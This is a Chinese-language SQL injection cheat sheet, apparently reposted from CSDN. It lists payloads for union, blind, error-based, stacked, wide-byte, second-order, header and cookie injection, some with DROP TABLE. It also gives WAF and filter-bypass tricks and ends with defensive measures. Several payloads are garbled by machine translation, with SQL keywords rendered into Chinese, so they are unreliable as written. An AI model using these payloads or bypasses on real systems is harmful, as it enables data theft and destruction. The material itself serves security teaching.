作为一般规则,操作数据库是为了检索敏感信息并执行敏感操作。
1 攻击类型
1.1 协作查询
通过union查询你想要的内容
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, \’admin\’–;
1.2 盲注
布尔盲注(检查页面是否回显正常内容):
SELECT id, name FROM users WHERE id=1 AND 1=1– ; 这将返回结果。
SELECT id, name FROM users WHERE id=1 AND 1=2– ; 这不会返回任何结果。
布尔盲注入(检查页面响应时间):
SELECT id, name FROM users WHERE id=1 AND IF(1=1, SLEEP(5), 0)– ; 这会延迟5 秒。
1.3 错误注入(页面包含错误信息)
提取值
SELECT 提取的值(1, CONCAT(0x3a, (SELECT database()),0x3a));
地面
SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) FROM INFORMATION_SCHEMA.TABLES GROUP BY FLOOR(RAND(0)*2);
更新XML
SELECT updatexml(1, CONCAT(0x3a, (SELECT 数据库()),0x3a), 1);
1.4 堆栈注入
SELECT id, name FROM users WHERE id=1; DROP TABLE users–;
1.5 宽咬合注射
从用户中选择ID、名称WHERE id=1 AND name=\’admin\’ %df\’ — ;
1.6 二次注射
开始:
INSERT INTO users (用户名) VALUES (\’admin\’); DROP TABLE users–\’);
第二次:
SELECT * FROM users WHERE username=\’admin\’ DROP TABLE users– \’;
1.7 用户代理注入
User-Agent: \’ UNION SELECT 1, @@version–;
1.8Cookie注入
Cookie: session=\’ OR 1=1– ;
2 绕过手法
2.1 大小写字母的双重书写
将UNION 写为uNiOn 或UUNINION。
2.2 空格或逗号
空格为:%20url、%09tab 水平制表符、%0btab 垂直制表符、%0a 下一行、%0c 新页、%a0 空、/**/、/*!/(带或不带注释)编码为空间)
和:
或:||
逗号:substr、mid、join、like、limit、limit offset
2.3 大于、小于、等于
如果过滤相等,则使用!(ab)绕过或者使用in绕过,使用最大最小值函数求出最大值和最小值,并与之前的bypass方法结合起来即可。
2.4 引文
宽字节注入、编码、转义字符、二次注入
2.5 过滤常用函数,使用不太常用的函数。
例如,不要直接输入字符,而是使用CHAR() 函数。 Benchmark() 替代sleep()、left()、right() 替代substr()
2.6 多重编码
使用URL编码、Base64编码等。
2.8 分割多个参数
使用评论
2.9 无列名注入
使用信息架构
使用sys.schema_auto_increment_columns 查询表名后,使用join 内联列名,并使用写入扩展列名来获取所有列名。
3 防御措施
3.1 参数化查询和准备语句
使用?而不是参数
3.2 使用数据库存储过程通过参数传递数据,减少直接编写SQL查询的可能性。
3.3 输入验证和清理:严格验证和清理用户输入,确保输入符合预期格式。
应使用正则表达式严格检查输入并应提前定义
3.4 最小权限原则:为应用程序使用的数据库帐户授予最小权限,以防止攻击者在发生SQL 注入时执行破坏性操作。
3.5 处理数据库错误:避免将数据库错误信息直接暴露给用户,防止攻击者通过错误信息确定或推断数据库的结构。
如果语句产生错误,请不要在页面上显示错误消息,仔细编写错误消息,并使用下面的try 。
示例:发生错误
3.6 使用ORM(对象关系映射): 减少直接编写SQL查询的需要,并通过更高级别的抽象层降低注入的风险。
Java有mybatis-plus,其他语言也有类似的框架。
3.7 启用数据库安全功能:许多数据库都有内置的安全功能。
在MySQL 中启用NO_BACKSLASH_ESCAPES 模式
设置sql_mode=\’NO_BACKSLASH_ESCAPES\’;
3.8 使用WAF和IDS
以上#SQL注入相关内容来源仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93217.html